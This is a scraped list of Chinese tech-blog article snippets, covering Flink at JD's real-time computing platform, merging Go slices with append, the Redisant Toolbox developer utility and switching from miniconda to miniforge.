			简介: Flink 助力京东实时计算平台朝着批流一体的方向演进. 本文整理自京东高级技术专家付海涛在 Flink Forward Asia 2020 分享的议题<Apache Flink 在京 ... 
- [Go] golang 两个数组 list 的合并方式
			s := append([]int{1, 2}, []int{3, 4}...) Tool:在线Golang代码运行 Cool:在线 AI 编程助手 https://stackoverflow.com ... 
- Redisant Toolbox——面向开发者的多合一工具箱
			Redisant Toolbox--面向开发者的多合一工具箱 Redisant Toolbox 拥有超过30种常用的开发工具:精心设计,快速.高效:离线使用,尊重您的隐私.官网地址:http://ww ... 
- (数据科学学习手札160)使用miniforge代替miniconda
			本文已收录至我的Github仓库https://github.com/CNFeffery/DataScienceStudyNotes 1 简介 大家好我是费老师,conda作为Python数据科学领域 ... 
